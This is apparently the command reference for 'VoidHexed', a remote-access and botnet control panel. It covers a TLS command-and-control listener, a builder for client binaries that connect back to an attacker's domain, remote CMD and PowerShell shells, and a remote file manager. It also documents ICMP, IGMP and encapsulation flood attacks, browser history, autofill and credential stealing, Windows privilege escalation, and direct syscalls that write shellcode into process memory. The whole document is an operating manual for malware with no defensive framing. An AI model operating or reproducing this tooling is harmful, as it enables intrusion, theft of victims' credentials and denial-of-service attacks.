VoidHexed — Command Reference

General

`list`

Lists all currently selected clients.

Usage:

```
list
```

Output: Prints `Client:<username>@<os>@<ip>` for each selected client.

`clear`

Clears the command log output panel.

Usage:

```
clear
```

`exit`

Clears the current client selection. Does not disconnect anything.

Usage:

```
exit
```

`select <ip> [ip2 ...]`

Selects one or more clients by their `IP:Port` identifier (as shown in the client grid). Multiple IPs can be provided in a single command. A client already selected will not be added twice.

Usage:

```
select 192.168.1.10:54321
select 192.168.1.10:54321 192.168.1.11:54322
```

Server

`server start <password> <ca_password> <port>`

Starts a TLS listener on the given port using the `server.pfx` and `ca.pfx` certificate files from the working directory.

Usage:

```
server start password456 password123 4444
```

Argument	Description
`password`	Password for `server.pfx`
`ca_password`	Password for `ca.pfx`
`port`	TCP port to listen on

Builder

`build <domain> <port> <ca_password> <platform>`

Builds a client binary configured to connect back to the given domain and port.

Usage:

```
build example.com 4444 password123 w
build example.com 4444 password123 l
```

Argument	Description
`domain`	C2 domain or IP the client will connect to
`port`	C2 port
`ca_password`	Password used to read `ca.pfx` (client cert auth)
`platform`	`w` for Windows, `l` for Linux

Reads `client.pfx` from the working directory and embeds it in the build.

Client Tools

All commands below require at least one client to be selected via `select`.

`shell`

Opens a remote CMD shell on the selected client. The client creates the shell process and sends back an acknowledgment logged as "Shell ready". Requires exactly **1** client selected.

Usage:

```
shell
```

Output appears in the command log as it arrives. Use `shellcmd` to send commands and `shellend` to close the session.

`shellcmd <command>`

Sends a command to the active remote shell. The client writes it to the shell's stdin and streams the output back. Requires exactly **1** client selected and an active shell session (`shell` must have been called first).

Usage:

```
shellcmd whoami
shellcmd ipconfig /all
shellcmd dir C:\Users
```

Argument	Description
`command`	Any text to write to the shell stdin

`shellend`

Closes the remote shell session and kills the shell process on the client. Requires exactly **1** client selected.

Usage:

```
shellend
```

`powershell`

Opens a remote PowerShell session on the selected client. Behaves identically to `shell` but launches `powershell.exe` instead of `cmd.exe`. The PowerShell banner is sent back immediately on session start. Requires exactly **1** client selected.

Usage:

```
powershell
```

`powershellcmd <command>`

Sends a command to the active PowerShell session. Equivalent to `shellcmd` for a PowerShell session. Requires exactly **1** client selected and an active PowerShell session (`powershell` must have been called first).

Usage:

```
powershellcmd Get-Process
powershellcmd $env:USERNAME
powershellcmd Get-ChildItem C:\Users
```

Argument	Description
`command`	Any text to write to the PowerShell stdin

`powershellend`

Closes the active PowerShell session and kills the process on the client. Requires exactly **1** client selected.

Usage:

```
powershellend
```

`fm`

Opens a File Manager session with the selected client. Requires exactly **1** client selected.

Usage:

```
fm
```

`cd [index | ..]`

Navigates the remote file system during a File Manager session. Requires exactly **1** client selected.

Usage:

```
cd              -- refresh current directory
cd 0            -- enter folder at index 0
cd ..           -- go up one directory
```

Argument	Description
(none)	Re-fetches the current remote directory
`index`	Numeric index of a folder in the current directory listing
`..`	Go up one directory level

> Note: Folder indices come from the directory listing returned by the client.

`disk <index>`

Switches the File Manager to a different disk/drive on the remote client. Requires exactly **1** client selected.

Usage:

```
disk 0
disk 1
```

Argument	Description
`index`	Index of the disk in the client disk list

`attack l3 <target> <threads> <maxpps> <time> <type> [layers]`

Sends a Layer 3 network attack packet to all selected **Linux** clients. Windows clients are silently skipped.

Usage:

```
attack l3 1.2.3.4 4 100000 60 1 10
attack l3 1.2.3.4 4 100000 60 2
attack l3 1.2.3.4 4 100000 60 2 0
attack l3 1.2.3.4 4 100000 60 3
```

Argument	Description
`target`	Target IP address
`threads`	Number of attack threads on the client
`maxpps`	Maximum packets per second
`time`	Attack duration in seconds
`type`	Attack type (see table below)
`layers`	Optional integer — see per-type notes

Available attack types:

Value	Name	Description	`layers` param
`1`	`IPv4NEncap`	IPv4 encapsulation flood. Sends raw IPv4 packets with nested encapsulation.	**Required** — number of encapsulation layers (e.g. `10`)

Value	Name	Description	`layers` param
`2`	`ICMP`	ICMP flood.	Not used
`3`	`IGMP`	IGMP flood.	Not used

> Note: For `IPv4NEncap`, the `layers` argument is always forwarded to the underlying binary (defaults to `-1` if omitted, which may produce undefined behaviour — always provide it). For `ICMP` and `IGMP`, omitting `layers` runs the attack without that argument.

Stealer / Info Commands

All stealer commands iterate all selected clients. Only **Windows** clients respond; Linux clients are silently skipped.

`cpu`

Requests detailed CPU information from the selected Windows client(s) (CPUID leaves, SMW, OS info, etc.).

Usage:

```
cpu
```

`history`

Requests browser history from the selected Windows client(s).

Usage:

```
history
```

`autofill`

Requests browser autofill/saved form data from the selected Windows client(s).

Usage:

```
autofill
```

`keyword`

Requests keyword/credential data from the selected Windows client(s).

Usage:

```
keyword
```

`module`

Requests the list of currently loaded modules (DLLs / mapped images) from the selected Windows client(s). The client enumerates modules via a native shellcode export and returns them as a newline-separated string.

Usage:

```
module
```

`acquire_privilege <privilege>`

Asks the selected Windows client(s) to acquire (open/enable) a Windows privilege by its LUID ordinal. The privilege is applied to the current process token via a native syscall stub.

Usage:

```
acquire_privilege 20
acquire_privilege 28
```

Argument	Description
`privilege`	Integer LUID of the privilege to acquire

Common privilege LUID values:

Value	Constant name
`7`	`SeTokenPrivilege` (TCB)
`8`	`SeSecurityPrivilege`
`9`	`SeTakeOwnershipPrivilege`
`10`	`SeLoadDriverPrivilege`
`17`	`SeBackupPrivilege`
`18`	`SeRestorePrivilege`
`19`	`SeShutdownPrivilege`
`20`	`SeDebugPrivilege`
`28`	`SeManageVolumePrivilege`
`29`	`SeImpersonatePrivilege`

The server logs the returned `NTSTATUS` code.

`adjust_privilege <privilege>`

Asks the selected Windows client(s) to adjust (modify the enabled state of) a Windows privilege by its LUID ordinal. Functionally mirrors `acquire_privilege` but targets the adjust path in the native stub.

Usage:

```
adjust_privilege 20
```

Argument	Description
`privilege`	Integer LUID of the privilege to adjust

See `acquire_privilege` for the common LUID table. The server logs the returned `NTSTATUS` code.

Syscall Commands

All syscall commands are sent through the `syscall` dispatcher. They require at least one Windows client selected.

General form:

```
syscall <name> [args...]
```

Arguments accept both decimal and `0x`-prefixed hex integers. Negative decimal values (e.g. `-1`) are also accepted and are interpreted as their unsigned 64-bit equivalent (e.g. `-1` → `0xFFFFFFFFFFFFFFFF`, useful for pseudo-handles).

`syscall ntallocatevirtualmemory`

Allocates a region of virtual memory in the address space of a target process (`NtAllocateVirtualMemory`).

Usage:

```
syscall ntallocatevirtualmemory <hProcess> <BaseAddr> <ZeroBits>
<RegionSize> <AllocType> <Protect>
```

Examples:

```
-- Allocate 0x1000 bytes in the current process (any address, commit+reserve, RW)
syscall ntallocatevirtualmemory -1 0 0 0x1000 0x3000 0x4

-- Reserve+commit 4096 bytes at a specific address with PAGE_EXECUTE_READ
syscall ntallocatevirtualmemory -1 0x21b0c150000 0 0x1000 0x3000 0x20
```

Argument	Description
`hProcess`	Handle to the target process. `-1` = current process pseudo-handle.
`BaseAddr`	Desired base address (`0` = let the OS choose).
`ZeroBits`	Number of high-order address bits that must be zero. Usually `0`.
`RegionSize`	Size in bytes of the region to allocate.
`AllocType`	Allocation type flags (see table below).
`Protect`	Memory protection flags (see table below).

AllocationType flags:

Value	Meaning
`0x1000`	`MEM_COMMIT`
`0x2000`	`MEM_RESERVE`
`0x3000`	`MEM_COMMIT | MEM_RESERVE`
`0x100000`	`MEM_TOP_DOWN`

Protect flags:

Value	Meaning
`0x02`	`PAGE_READONLY`
`0x04`	`PAGE_READWRITE`
`0x10`	`PAGE_EXECUTE`
`0x20`	`PAGE_EXECUTE_READ`
`0x40`	`PAGE_EXECUTE_READWRITE`

Output: The server displays the allocated base address returned by the kernel and the `NTSTATUS` result.

`syscall ntwritevirtualmemory`

Writes data into the address space of a target process (`NtWriteVirtualMemory`). The buffer can be supplied as a file path or as a raw hex string. Buffer size is derived automatically.

Usage:

```
-- From a file (path may contain spaces if quoted)
syscall ntwritevirtualmemory <hProcess> <BaseAddr> "<filepath>"

-- From a raw hex string (even number of hex digits)
syscall ntwritevirtualmemory <hProcess> <BaseAddr> <hexbuffer>
```

Examples:

```
-- Write the contents of a local file into a remote process at a given
address
syscall ntwritevirtualmemory -1 0x21b0c150000
"C:\payloads\shellcode.bin"

-- Write a 4-byte value (0xDEADBEEF) at a specific address
syscall ntwritevirtualmemory -1 0x7ff000000000 EFBEADDE
```

Argument	Description
`hProcess`	Handle to the target process. `-1` = current process pseudo-handle.
`BaseAddr`	Target address in the remote process to write to.
`filepath`	Absolute path to a local file whose bytes will be written. Quote paths that contain spaces.
`hexbuffer`	Even-length hex string representing the raw bytes to write (no `0x` prefix).

> When a file path is provided and the file exists on the server machine, its full byte content is read and sent. `BufferSize` is set automatically from the file or hex buffer length — it does not need to be supplied.

Output: The server displays the `NTSTATUS` result and the number of bytes written reported by the kernel.